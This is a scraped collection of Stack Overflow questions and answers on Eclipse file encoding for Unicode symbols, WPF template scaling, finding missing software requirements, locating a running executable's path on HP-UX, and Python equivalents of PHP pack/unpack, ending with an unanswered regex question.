[ { "answer_id": 200698, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 2, "selected": false, "text": "<p>Either change your encoding to one which will cope, e.g. UTF-8, or find the relevant Unicode number and use a \\uxxxx escape sequence to represent it.</p>\n" }, { "answer_id": 200708, "author": "Joe Lencioni", "author_id": 18986, "author_profile": "https://Stackoverflow.com/users/18986", "pm_score": 6, "selected": true, "text": "<p>The problem is that the characters you are using cannot be represented in the encoding you have the file set to (Cp1252). The way I see it, you essentially have two options:</p>\n\n<p>Option 1. <strong>Change the encoding.</strong> <a href=\"http://publib.boulder.ibm.com/infocenter/eruinf/v2r1m1/index.jsp?topic=/com.ibm.iru.doc/concepts/cirerwp.htm\" rel=\"noreferrer\">According to IBM</a>, you should set the encoding to UTF-8. I believe this would solve your problem.</p>\n\n<blockquote>\n <ul>\n <li>Set the global text file encoding preference Workbench > Editors to \"UTF-8\".</li>\n <li>If an encoding other than UTF-8 is required, set the encoding on the individual file rather than using the global preference setting. To do this use the File > Properties > Info menu selection to set the encoding on an individual file.</li>\n </ul>\n</blockquote>\n\n<p>Option 2. <strong>Remove the characters which are not supported by the \"Cp1252\" character encoding.</strong> You can replace the unsupported characters with <a href=\"http://en.wikibooks.org/wiki/Java_Programming/Syntax/Unicode_Escape_Sequences\" rel=\"noreferrer\">Unicode escape sequences</a> (\\uxxxx). While this would allow you to save your file, it is not necessarily the best solution.</p>\n\n<p>For the characters you specified in your question here are the Unicode escape sequences:</p>\n\n<pre><code>♥ \\u2665\n♦ \\u2666\n♣ \\u2663\n♠ \\u2660\n</code></pre>\n" }, { "answer_id": 200717, "author": "idrosid", "author_id": 17876, "author_profile": "https://Stackoverflow.com/users/17876", "pm_score": 3, "selected": false, "text": "<p>It can be solved by setting encoding in eclipse:</p>\n\n<p>1st way:</p>\n\n<p>At the menu select <strong>File-->Properties</strong> and then at the <strong>\"Text file encoding\"</strong> section: Select Other radio, Select UTF-8 from combo -> Lastly click OK button</p>\n\n<p>2nd way:</p>\n\n<p>Right click on specific file (say Test.java) -> <strong>Properties</strong>. In <strong>Text file encoding</strong> section: Select Other radio, Select UTF-8 from combo -> Lastly click OK button</p>\n\n<p>3rd way:</p>\n\n<p>If you want to make this change for all your project go at <strong>Window-->Preferences--> General--> Workspace</strong> . In <strong>Text file encoding</strong> section: Select Other radio, Select UTF-8 from combo -> Lastly click OK button</p>\n" }, { "answer_id": 200801, "author": "MSalters", "author_id": 15416, "author_profile": "https://Stackoverflow.com/users/15416", "pm_score": 2, "selected": false, "text": "<p>Finding the unicode escape sequence: see these <a href=\"http://www.macchiato.com/unicode/chart/\" rel=\"nofollow noreferrer\">Unicode charts</a>. Your characters are in the Misc. Symbols chart, \\u2660 and up.</p>\n" }, { "answer_id": 543036, "author": "sepehr", "author_id": 65732, "author_profile": "https://Stackoverflow.com/users/65732", "pm_score": 5, "selected": false, "text": "<p>In Eclipse:</p>\n\n<ol>\n<li>Go to Window -> Preferences -> General -> Workspace -> TextFileEncoding</li>\n<li>Set it to UTF-8</li>\n</ol>\n" }, { "answer_id": 17232797, "author": "Sonu", "author_id": 2508598, "author_profile": "https://Stackoverflow.com/users/2508598", "pm_score": 0, "selected": false, "text": "<p>Windows Menu –> Preferences –> General (expand it) –> Workspace (click on it).\nLook for a box “Text File Encoding”. Default will be “Cp1252″.\nChange radio to select other and select “UTF-8″ from combo box.</p>\n" }, { "answer_id": 19654751, "author": "Piotr Findeisen", "author_id": 65458, "author_profile": "https://Stackoverflow.com/users/65458", "pm_score": 2, "selected": false, "text": "<p>Expanding a bit on @Joe Lencioni answer</p>\n\n<p>You can use AnyEdit Eclipse plugin (install-able from Eclipse marketplace) to easily convert Unicode text into Java Unicode escapes:</p>\n\n<ul>\n<li>Select char/text with non-ASCII characters</li>\n<li>right-click</li>\n<li>Convert > To Unicode Notation</li>\n</ul>\n\n<p>One minor caveat is that AnyEdit wants to save the file first which obviously is disallowed by Eclipse until you fix your text.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200691", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12860/" ]
How can I use/display characters like ♥, ♦, ♣, or ♠ in Java/Eclipse? When I try to use them directly, e.g. in the source code, Eclipse cannot save the file. What can I do? Edit: How can I find the unicode escape sequence?
The problem is that the characters you are using cannot be represented in the encoding you have the file set to (Cp1252). The way I see it, you essentially have two options: Option 1. **Change the encoding.** [According to IBM](http://publib.boulder.ibm.com/infocenter/eruinf/v2r1m1/index.jsp?topic=/com.ibm.iru.doc/concepts/cirerwp.htm), you should set the encoding to UTF-8. I believe this would solve your problem. > > * Set the global text file encoding preference Workbench > Editors to "UTF-8". > * If an encoding other than UTF-8 is required, set the encoding on the individual file rather than using the global preference setting. To do this use the File > Properties > Info menu selection to set the encoding on an individual file. > > > Option 2. **Remove the characters which are not supported by the "Cp1252" character encoding.** You can replace the unsupported characters with [Unicode escape sequences](http://en.wikibooks.org/wiki/Java_Programming/Syntax/Unicode_Escape_Sequences) (\uxxxx). While this would allow you to save your file, it is not necessarily the best solution. For the characters you specified in your question here are the Unicode escape sequences: ``` ♥ \u2665 ♦ \u2666 ♣ \u2663 ♠ \u2660 ```
200,724
<p>Is there a way to have XAML properties scale along with the size of the uielements they belong to?</p> <p>In essence, I have a control template that I have created too large for it's use/ mainly because I want to use the same control with different sizes. The problem is that I can set the control size to Auto (in the ControlTemplate), however the properties of the intrisic template elements aren't resized: eg StrokeThickness remains at 10 while it should become 1. </p> <p>It works fine when I apply a ScaleTransform on the template, but that results in a control that's too small when it's actually used: the width/height=Auto resizes the control to the proper size <em>and then</em> the scaletransform is applied. So I'm stuff with a sort of nonscalable control.</p> <p>I'm a bit new to WPF, so there might be a straightforward way to do this...</p>
[ { "answer_id": 200909, "author": "Enrico Campidoglio", "author_id": 26396, "author_profile": "https://Stackoverflow.com/users/26396", "pm_score": 2, "selected": true, "text": "<p>You could try to bind the width and height of the control inside the template to the width and height respectively of the templated control at runtime. Something like:</p>\n\n<pre><code>&lt;Button&gt;\n &lt;Button.Template&gt;\n &lt;ControlTemplate TargetType={x:Type Button}&gt;\n &lt;Border Width=\"{TemplateBinding Property=ActualWidth}\"\n Height=\"{TemplateBinding Property=ActualHeight}\"&gt;\n &lt;ContentPresenter /&gt;\n &lt;/Border&gt;\n &lt;/ControlTemplate&gt;\n &lt;/Button.Template&gt;\n&lt;/Button&gt;\n</code></pre>\n\n<p>Note that the binding sources are the <strong>FrameworkElement.ActualWidth</strong> and <strong>FrameworkElement.ActualHeight</strong> properties of the templated control. These properties contain the width and height of a control after it has been rendered, which can be different from what has been specified in the <strong>Width</strong> and <strong>Height</strong> properties. This is because the values are ultimately calculated at runtime taking into account the size of any parent controls in the visual tree.</p>\n" }, { "answer_id": 203277, "author": "Amanda Mitchell", "author_id": 26628, "author_profile": "https://Stackoverflow.com/users/26628", "pm_score": 2, "selected": false, "text": "<p>Your description is a bit vague, but it sounds like you'll want to have a ViewBox with the Stretch set to Uniform as the root element of your control.</p>\n" }, { "answer_id": 300261, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Too bad you can't create a control template for a StackPanel, DockPanel, Grid, or any other container.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200724", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6251/" ]
Is there a way to have XAML properties scale along with the size of the uielements they belong to? In essence, I have a control template that I have created too large for it's use/ mainly because I want to use the same control with different sizes. The problem is that I can set the control size to Auto (in the ControlTemplate), however the properties of the intrisic template elements aren't resized: eg StrokeThickness remains at 10 while it should become 1. It works fine when I apply a ScaleTransform on the template, but that results in a control that's too small when it's actually used: the width/height=Auto resizes the control to the proper size *and then* the scaletransform is applied. So I'm stuff with a sort of nonscalable control. I'm a bit new to WPF, so there might be a straightforward way to do this...
You could try to bind the width and height of the control inside the template to the width and height respectively of the templated control at runtime. Something like: ``` <Button> <Button.Template> <ControlTemplate TargetType={x:Type Button}> <Border Width="{TemplateBinding Property=ActualWidth}" Height="{TemplateBinding Property=ActualHeight}"> <ContentPresenter /> </Border> </ControlTemplate> </Button.Template> </Button> ``` Note that the binding sources are the **FrameworkElement.ActualWidth** and **FrameworkElement.ActualHeight** properties of the templated control. These properties contain the width and height of a control after it has been rendered, which can be different from what has been specified in the **Width** and **Height** properties. This is because the values are ultimately calculated at runtime taking into account the size of any parent controls in the visual tree.
200,729
<p>An initial draft of requirements specification has been completed and now it is time to take stock of requirements, <a href="https://stackoverflow.com/questions/186716/when-reviewing-requirements-specification-what-deadly-sins-need-to-be-addressed">review the specification</a>. Part of this process is to make sure that there are no sizeable gaps in the specification. Needless to say that the gaps lead to highly inaccurate estimates, inevitable scope creep later in the project and ultimately to a death march.</p> <p><strong>What are the good, efficient techniques for pinpointing missing and implicit requirements?</strong></p> <ul> <li>This question is about practical techiniques, not general advice, principles or guidelines.</li> <li>Missing requirements is anything crucial for completeness of the product or service but not thought of or forgotten about,</li> <li>Implicit requirements are something that users or customers naturally assume is going to be a standard part of the software without having to be explicitly asked for.</li> </ul> <p><sub>I am happy to re-visit accepted answer, as long as someone submits better, more comprehensive solution.</sub></p>
[ { "answer_id": 200740, "author": "Galwegian", "author_id": 3201, "author_profile": "https://Stackoverflow.com/users/3201", "pm_score": 3, "selected": false, "text": "<p><strong>Continued, frequent, frank, and two-way communication with the customer</strong> strikes me as the main 'technique' as far as I'm concerned.</p>\n" }, { "answer_id": 200982, "author": "cciotti", "author_id": 16834, "author_profile": "https://Stackoverflow.com/users/16834", "pm_score": 0, "selected": false, "text": "<p>I agree with Galwegian. The technique described is far more efficient than the \"wait for customer to yell at us\" approach. </p>\n" }, { "answer_id": 200994, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 2, "selected": false, "text": "<p>Here's how you find the missing requirements.</p>\n\n<ol>\n<li><p>Break the requirements down into tiny little increments. Really small. Something that can be built in two weeks or less. You'll find a lot of gaps.</p></li>\n<li><p>Prioritize those into what would be best to have first, what's next down to what doesn't really matter very much. You'll find that some of the gap-fillers didn't matter. You'll also find that some of the original \"requirements\" are merely desirable.</p></li>\n<li><p>Debate the differences of opinion as to what's most important to the end users and why. Two users will have three opinions. You'll find that some users have no clue, and none of their \"requirements\" are required. You'll find that some people have no spine, and things they aren't brave enough to say out loud are \"required\".</p></li>\n<li><p>Get a consensus on the top two or three only. Don't argue out every nuance. It isn't possible to envision software. It isn't possible for anyone to envision what software will be like and how they will use it. Most people's \"requirements\" are descriptions of how the struggle to work around the inadequate business processes they're stuck with today. </p></li>\n<li><p>Build the highest-priority, most important part first. Give it to users.</p></li>\n<li><p>GOTO 1 and repeat the process.</p></li>\n</ol>\n\n<p>\"Wait,\" you say, \"What about the overall budget?\" What about it? You can never know the overall budget. Do the following.</p>\n\n<p>Look at each increment defined in step 1. Provide a price-per-increment. In priority order. That way someone can pick as much or as little as they want. There's no large, scary \"Big Budgetary Estimate With A Lot Of Zeroes\". It's all negotiable.</p>\n" }, { "answer_id": 201721, "author": "James", "author_id": 16282, "author_profile": "https://Stackoverflow.com/users/16282", "pm_score": 2, "selected": false, "text": "<p>It depends.</p>\n\n<p>It depends on whether you're being paid to deliver what you said you'd deliver or to deliver high quality software to the client.</p>\n\n<p>If the former, simply eliminate ambiguity from the specifications and then build what you agreed to. Try to stay away from anything not measurable (like \"fast\", \"cool\", \"snappy\", etc...).</p>\n\n<p>If the latter, what Galwegian said + time or simply cut everything not absolutely drop-dead critical and build that as quickly as you can. Production has a remarkable way of illuminating what you missed in Analysis.</p>\n" }, { "answer_id": 201745, "author": "Simon Keep", "author_id": 1127460, "author_profile": "https://Stackoverflow.com/users/1127460", "pm_score": 1, "selected": false, "text": "<p>How about building a prototype?</p>\n" }, { "answer_id": 245810, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I have been using a modeling methodology called Behavior Engineering (bE) that uses the original specification text to create the resulting model when you have the model it is easier to identify missing or incomplete sections of the requirements. </p>\n\n<p>I have used the methodolgy on about six projects so far ranging from less than a houndred requirements to over 1300 requirements. If you want to know more I would suggest going to <a href=\"http://www.behaviorengineering.org\" rel=\"nofollow noreferrer\">www.behaviorengineering.org</a> there some really good papers regarding the methodology. </p>\n\n<p>The company I work for has created a tool to perform the modeling. The work rate to actually create the model is about 5 requirements for a novice and an expert about 13 requirements an hour. The cool thing about the methodolgy is you don't need to know really anything about the domain the specification is written for. Using just the user text such as nouns and verbs the modeller will find gaps in the model in a very short period of time. </p>\n\n<p>I hope this helps</p>\n\n<p>Michael Larsen</p>\n" }, { "answer_id": 245832, "author": "Steven A. Lowe", "author_id": 9345, "author_profile": "https://Stackoverflow.com/users/9345", "pm_score": 3, "selected": true, "text": "<p>evaluate the lifecycle of the elements of the model with respect to a generic/overall model such as</p>\n\n<pre><code>acquisition --&gt; stewardship --&gt; disposal\n</code></pre>\n\n<ul>\n<li>do you know where every entity comes from and how you're going to get it into your system?</li>\n<li>do you know where every entity, once acquired, will reside, and for how long?</li>\n<li>do you know what to do with each entity when it is no longer needed?</li>\n</ul>\n\n<p>for a more fine-grained analysis of the lifecycle of the entities in the spec, make a CRUDE matrix for the major entities in the requirements; this is a matrix with the operations/applications as the rows and the entities as the columns. In each cell, put a C if the application Creates the entity, R for Reads, U for Updates, D for Deletes, or E for \"Edits\"; 'E' encompasses C,R,U, and D (most 'master table maintenance' apps will be Es). Then check each column for C,R,U, and D (or E); if one is missing (except E), figure out if it is needed. The rows and columns of the matrix can be rearranged (manually or using affinity analysis) to form cohesive groups of entities and applications which generally correspond to subsystems; this may assist with physical system distribution later.</p>\n\n<p>It is also useful to add a \"User\" entity column to the CRUDE matrix and specify for each application (or feature or functional area or whatever you want to call the processing/behavioral aspects of the requirements) whether it takes Input from the user, produces Output for the user, or Interacts with the user (I use I, O, and N for this, and always make the User the first column). This helps identify where user-interfaces for data-entry and reports will be required.</p>\n\n<p>the goal is to check the completeness of the specification; the techniques above are useful to check to see if the life-cycle of the entities are 'closed' with respect to the entities and applications identified</p>\n" }, { "answer_id": 263104, "author": "Yarik", "author_id": 31415, "author_profile": "https://Stackoverflow.com/users/31415", "pm_score": 1, "selected": false, "text": "<p>While reading tons of literature about software requirements, I found these two interesting books:</p>\n\n<ul>\n<li><p><a href=\"https://rads.stackoverflow.com/amzn/click/com/020159627X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Problem Frames: Analysing &amp; Structuring Software Development Problems</a> by Michael Jackson (not a singer! :-). </p></li>\n<li><p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1884777597\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Practical Software Requirements: A Manual of Content and Style</a> by Bendjamen Kovitz.</p></li>\n</ul>\n\n<p>These two authors really stand out from the crowd because, in my humble opinion, they are making a really good attempt to turn development of requirements into a very systematic process - more like engineering than art or black magic. In particular, Michael Jackson's definition of what requirements really are - I think it is the cleanest and most precise that I've ever seen.</p>\n\n<p>I wouldn't do a good service to these authors trying to describe their aproach in a short posting here. So I am not going to do that. But I will try to explain, <strong>why their approach seems to be extremely relevant to your question</strong>: it allows you to boil down most (not all, but most!) of you requirements development work to processing a bunch of check-lists* telling you what requirements you have to define to cover all important aspects of the entire customer's problem. In other words, <strong>this approach is supposed to minimize the risk of missing important requirements (including those that often remain implicit)</strong>.</p>\n\n<p>I know it may sound like magic, but it isn't. It still takes a substantial mental effort to come to those \"magic\" check-lists: you have to articulate the customer's problem first, then analyze it thoroughly, and finally dissect it into so-called \"problem frames\" (which come with those magic check-lists only when they closely match a few typical problem frames defined by authors). Like I said, this approach does not promise to make everything simple. But it definitely promises to make requirements development process as systematic as possible.</p>\n\n<p>If requirements development in your current project is already quite far from the very beginning, it may not be feasible to try to apply the Problem Frames Approach at this point (although it greatly depends on how your current requirements are organized). Still, I highly recommend to read those two books - they contain a lot of wisdom that you may still be able to apply to the current project.</p>\n\n<p>My last important notes about these books: </p>\n\n<ul>\n<li><p>As far as I understand, Mr. Jackson is the original author of the idea of \"problem frames\". His book is quite academic and theoretical, but it is very, very readable and even entertaining.</p></li>\n<li><p>Mr. Kovitz' book tries to demonstrate how Mr. Jackson ideas can be applied in real practice. It also contains tons of useful information on writing and organizing the actual requirements and requirements documents.</p></li>\n</ul>\n\n<p>You can probably start from the Kovitz' book (and refer to Mr. Jackson's book only if you really need to dig deeper on the theoretical side). But I am sure that, at the end of the day, you should read both books, and you won't regret that. :-)</p>\n\n<p>HTH...</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200729", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22088/" ]
An initial draft of requirements specification has been completed and now it is time to take stock of requirements, [review the specification](https://stackoverflow.com/questions/186716/when-reviewing-requirements-specification-what-deadly-sins-need-to-be-addressed). Part of this process is to make sure that there are no sizeable gaps in the specification. Needless to say that the gaps lead to highly inaccurate estimates, inevitable scope creep later in the project and ultimately to a death march. **What are the good, efficient techniques for pinpointing missing and implicit requirements?** * This question is about practical techiniques, not general advice, principles or guidelines. * Missing requirements is anything crucial for completeness of the product or service but not thought of or forgotten about, * Implicit requirements are something that users or customers naturally assume is going to be a standard part of the software without having to be explicitly asked for. I am happy to re-visit accepted answer, as long as someone submits better, more comprehensive solution.
evaluate the lifecycle of the elements of the model with respect to a generic/overall model such as ``` acquisition --> stewardship --> disposal ``` * do you know where every entity comes from and how you're going to get it into your system? * do you know where every entity, once acquired, will reside, and for how long? * do you know what to do with each entity when it is no longer needed? for a more fine-grained analysis of the lifecycle of the entities in the spec, make a CRUDE matrix for the major entities in the requirements; this is a matrix with the operations/applications as the rows and the entities as the columns. In each cell, put a C if the application Creates the entity, R for Reads, U for Updates, D for Deletes, or E for "Edits"; 'E' encompasses C,R,U, and D (most 'master table maintenance' apps will be Es). Then check each column for C,R,U, and D (or E); if one is missing (except E), figure out if it is needed. The rows and columns of the matrix can be rearranged (manually or using affinity analysis) to form cohesive groups of entities and applications which generally correspond to subsystems; this may assist with physical system distribution later. It is also useful to add a "User" entity column to the CRUDE matrix and specify for each application (or feature or functional area or whatever you want to call the processing/behavioral aspects of the requirements) whether it takes Input from the user, produces Output for the user, or Interacts with the user (I use I, O, and N for this, and always make the User the first column). This helps identify where user-interfaces for data-entry and reports will be required. the goal is to check the completeness of the specification; the techniques above are useful to check to see if the life-cycle of the entities are 'closed' with respect to the entities and applications identified
200,737
<p>I want to get the full path of the running process (executable) without having root permission using C++ code. Can someone suggest a way to achieve this.</p> <p>on Linux platforms i can do it by using following way.</p> <pre><code>char exepath[1024] = {0}; char procid[1024] = {0}; char exelink[1024] = {0}; sprintf(procid, "%u", getpid()); strcpy(exelink, "/proc/"); strcat(exelink, procid); strcat(exelink, "/exe"); readlink(exelink, exepath, sizeof(exepath)); </code></pre> <p>Here exepath gives us the full path of the executable.</p> <p>Similarly for windows we do it using </p> <pre><code>GetModuleFileName(NULL, exepath, sizeof(exepath)); /* get fullpath of the service */ </code></pre> <p>Please help me how to do it on HP-UX since there is no /proc directory in HP-UX.</p>
[ { "answer_id": 201248, "author": "Caleb Huitt - cjhuitt", "author_id": 9876, "author_profile": "https://Stackoverflow.com/users/9876", "pm_score": 0, "selected": false, "text": "<p>I have done this before in a general case. The general idea is to grab argv[0], and do some processing on it:</p>\n\n<pre><code>int main( int argc, char** argv )\n{\n string full_prog_path = argv[0];\n if ( full_prog_path[0] == \"/\" )\n { // It was specified absolutely; no processing necessary.\n }\n else\n {\n string check_cwd = getcwd();\n check_cwd += argv[0];\n if ( FileExists( check_cwd ) )\n { // It was specified relatively.\n full_prog_path = check_cwd;\n }\n else\n { // Check through the path to find it\n string path = getenv( \"PATH\" );\n list&lt;string&gt; paths = path.split( \":\" );\n foreach( test_path, paths )\n {\n if ( FileExists( test_path + argv[0] ) )\n { // We found the first path entry with the program\n full_prog_path = test_path + argv[0];\n break;\n }\n }\n }\n }\n\n cout &lt;&lt; \"Program path: \" &lt;&lt; full_prog_path &lt;&lt; endl;\n\n return 0;\n}\n</code></pre>\n\n<p>Obviously, this has some assumptions that might break at some point, but it should work for most cases.</p>\n" }, { "answer_id": 201860, "author": "mpez0", "author_id": 27898, "author_profile": "https://Stackoverflow.com/users/27898", "pm_score": 1, "selected": false, "text": "<p>The earlier answer referring to the Unix Programming FAQ was right. The problem, even with the Linux /proc answer, is that the path to the executable may have changed since the exec(). In fact, the executable may have been deleted. Further complications arise from considering links (both symbolic and hard) -- there may be multiple paths to the same executable. There is no general answer that covers all cases, since there may not be a path remaining, and if there is one it may not be unique.</p>\n\n<p>That said, using argv[0] with some logic, as advocated by cjhuitt earlier, will probably do what you want 99.9% of the time. I'd add a check for a path containing \"/\" before doing the relative path check (and note, you must do that before any cwd() calls). Note that if your calling program is feeling mischievous, there's a host of things that can be done between fork() and exec() to mess this up. Don't rely on this for anything that could affect application security (like location of configuration files).</p>\n" }, { "answer_id": 213530, "author": "mpez0", "author_id": 27898, "author_profile": "https://Stackoverflow.com/users/27898", "pm_score": 1, "selected": false, "text": "<p>For what purpose do you need the executable path? Bear in mind, as I put in my earlier post, that there is no guarantee that a path to the executable will exist, or that it will be unique.</p>\n" }, { "answer_id": 275706, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>First, I'd like to comment on your Linux solution: it is about 5 times as long as it needs to be, and performs a lot of completely unnecessary operations, as well as using 1024 magic number which is just plain wrong:</p>\n\n<pre><code>$ grep PATH_MAX /usr/include/linux/limits.h \n#define PATH_MAX 4096 /* # chars in a path name */\n</code></pre>\n\n<p>Here is a correct minimal replacement:</p>\n\n<pre><code>#include &lt;limits.h&gt;\n...\n char exepath[PATH_MAX] = {0};\n readlink(\"/proc/self/exe\", exepath, sizeof(exepath));\n</code></pre>\n\n<p>Second, on HP-UX you can use <code>shl_get_r()</code> to obtain information about all loaded modules. At index 0, you will find information about the main executable. The <code>desc.filename</code> will point to the name of the executable at <code>execve(2)</code> time.</p>\n\n<p>Unfortunately, that name is relative, so you may have to search <code>$PATH</code>, and may fail if the application did <code>putenv(\"PATH=some:new:path\")</code> or if the original exename was e.g. <code>./a.out</code> and the application has performed <code>chdir(2)</code> since.</p>\n" }, { "answer_id": 473150, "author": "Randy Proctor", "author_id": 22131, "author_profile": "https://Stackoverflow.com/users/22131", "pm_score": 2, "selected": false, "text": "<p>On HP-UX, use pstat:</p>\n\n<pre>\n#include &lt;stdio.h>\n#include &lt;stdlib.h>\n#include &lt;limits.h>\n#include &lt;unistd.h>\n\n#define _PSTAT64\n#include &lt;sys/pstat.h>\n\nint main(int argc, char *argv[])\n{\n char filename[PATH_MAX];\n struct pst_status s;\n\n if (pstat_getproc(&s,sizeof(s),0,getpid()) == -1) {\n perror(\"pstat_getproc\");\n return EXIT_FAILURE;\n }\n\n if (pstat_getpathname(filename,sizeof(filename),&s.pst_fid_text) == -1) {\n perror(\"pstat_getpathname\");\n return EXIT_FAILURE;\n }\n\n printf(\"filename: %s\\n\",filename);\n\n return EXIT_SUCCESS;\n}\n</pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200737", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27804/" ]
I want to get the full path of the running process (executable) without having root permission using C++ code. Can someone suggest a way to achieve this. on Linux platforms i can do it by using following way. ``` char exepath[1024] = {0}; char procid[1024] = {0}; char exelink[1024] = {0}; sprintf(procid, "%u", getpid()); strcpy(exelink, "/proc/"); strcat(exelink, procid); strcat(exelink, "/exe"); readlink(exelink, exepath, sizeof(exepath)); ``` Here exepath gives us the full path of the executable. Similarly for windows we do it using ``` GetModuleFileName(NULL, exepath, sizeof(exepath)); /* get fullpath of the service */ ``` Please help me how to do it on HP-UX since there is no /proc directory in HP-UX.
First, I'd like to comment on your Linux solution: it is about 5 times as long as it needs to be, and performs a lot of completely unnecessary operations, as well as using 1024 magic number which is just plain wrong: ``` $ grep PATH_MAX /usr/include/linux/limits.h #define PATH_MAX 4096 /* # chars in a path name */ ``` Here is a correct minimal replacement: ``` #include <limits.h> ... char exepath[PATH_MAX] = {0}; readlink("/proc/self/exe", exepath, sizeof(exepath)); ``` Second, on HP-UX you can use `shl_get_r()` to obtain information about all loaded modules. At index 0, you will find information about the main executable. The `desc.filename` will point to the name of the executable at `execve(2)` time. Unfortunately, that name is relative, so you may have to search `$PATH`, and may fail if the application did `putenv("PATH=some:new:path")` or if the original exename was e.g. `./a.out` and the application has performed `chdir(2)` since.
200,738
<p>Using the PHP <a href="http://www.php.net/pack" rel="noreferrer">pack()</a> function, I have converted a string into a binary hex representation:</p> <pre><code>$string = md5(time); // 32 character length $packed = pack('H*', $string); </code></pre> <p>The H* formatting means "Hex string, high nibble first".</p> <p>To unpack this in PHP, I would simply use the <a href="http://www.php.net/unpack" rel="noreferrer">unpack()</a> function with the H* format flag.</p> <p>How would I unpack this data in Python?</p>
[ { "answer_id": 200761, "author": "MvdD", "author_id": 18044, "author_profile": "https://Stackoverflow.com/users/18044", "pm_score": 3, "selected": false, "text": "<p>In Python you use the <a href=\"https://docs.python.org/2/library/struct.html\" rel=\"nofollow noreferrer\">struct</a> module for this.</p>\n\n<pre><code>&gt;&gt;&gt; from struct import *\n&gt;&gt;&gt; pack('hhl', 1, 2, 3)\n'\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03'\n&gt;&gt;&gt; unpack('hhl', '\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03')\n(1, 2, 3)\n&gt;&gt;&gt; calcsize('hhl')\n8\n</code></pre>\n\n<p>HTH</p>\n" }, { "answer_id": 200861, "author": "Brian", "author_id": 9493, "author_profile": "https://Stackoverflow.com/users/9493", "pm_score": 4, "selected": false, "text": "<p>There's no corresponding \"hex nibble\" code for struct.pack, so you'll either need to manually pack into bytes first, like:</p>\n\n<pre><code>hex_string = 'abcdef12'\n\nhexdigits = [int(x, 16) for x in hex_string]\ndata = ''.join(struct.pack('B', (high &lt;&lt;4) + low) \n for high, low in zip(hexdigits[::2], hexdigits[1::2]))\n</code></pre>\n\n<p>Or better, you can just use the hex codec. ie.</p>\n\n<pre><code>&gt;&gt;&gt; data = hex_string.decode('hex')\n&gt;&gt;&gt; data\n'\\xab\\xcd\\xef\\x12'\n</code></pre>\n\n<p>To unpack, you can encode the result back to hex similarly</p>\n\n<pre><code>&gt;&gt;&gt; data.encode('hex')\n'abcdef12'\n</code></pre>\n\n<p>However, note that for your example, there's probably no need to take the round-trip through a hex representation at all when encoding. Just use the md5 binary digest directly. ie.</p>\n\n<pre><code>&gt;&gt;&gt; x = md5.md5('some string')\n&gt;&gt;&gt; x.digest()\n'Z\\xc7I\\xfb\\xee\\xc96\\x07\\xfc(\\xd6f\\xbe\\x85\\xe7:'\n</code></pre>\n\n<p>This is equivalent to your pack()ed representation. To get the hex representation, use the same unpack method above:</p>\n\n<pre><code>&gt;&gt;&gt; x.digest().decode('hex')\n'acbd18db4cc2f85cedef654fccc4a4d8'\n&gt;&gt;&gt; x.hexdigest()\n'acbd18db4cc2f85cedef654fccc4a4d8'\n</code></pre>\n\n<p>[Edit]: Updated to use better method (hex codec)</p>\n" }, { "answer_id": 201325, "author": "Dan Lenski", "author_id": 20789, "author_profile": "https://Stackoverflow.com/users/20789", "pm_score": 5, "selected": true, "text": "<p>There's an easy way to do this with the <code>binascii</code> module:</p>\n\n<pre><code>&gt;&gt;&gt; import binascii\n&gt;&gt;&gt; print binascii.hexlify(\"ABCZ\")\n'4142435a'\n&gt;&gt;&gt; print binascii.unhexlify(\"4142435a\")\n'ABCZ'\n</code></pre>\n\n<p>Unless I'm misunderstanding something about the nibble ordering (high-nibble first is the default… anything different is insane), that should be perfectly sufficient!</p>\n\n<p>Furthermore, Python's <code>hashlib.md5</code> objects have a <code>hexdigest()</code> method to automatically convert the MD5 digest to an ASCII hex string, so that this method isn't even necessary for MD5 digests. Hope that helps.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200738", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2183/" ]
Using the PHP [pack()](http://www.php.net/pack) function, I have converted a string into a binary hex representation: ``` $string = md5(time); // 32 character length $packed = pack('H*', $string); ``` The H\* formatting means "Hex string, high nibble first". To unpack this in PHP, I would simply use the [unpack()](http://www.php.net/unpack) function with the H\* format flag. How would I unpack this data in Python?
There's an easy way to do this with the `binascii` module: ``` >>> import binascii >>> print binascii.hexlify("ABCZ") '4142435a' >>> print binascii.unhexlify("4142435a") 'ABCZ' ``` Unless I'm misunderstanding something about the nibble ordering (high-nibble first is the default… anything different is insane), that should be perfectly sufficient! Furthermore, Python's `hashlib.md5` objects have a `hexdigest()` method to automatically convert the MD5 digest to an ASCII hex string, so that this method isn't even necessary for MD5 digests. Hope that helps.
200,742
<p>I have the following line of text</p> <pre><code>Reference=*\G{7B35DDAC-FFE2-4435-8A15-CF5C70F23459}#1.0#0#..\..\..\bin\App Components\AcmeFormEngine.dll#ACME Form Engine </code></pre> <p>and wish to grab the following as two separate capture groups:</p> <pre><code>AcmeFormEngine.dll ACME Form Engine </code></pre> <p>Can anyone help?</p>
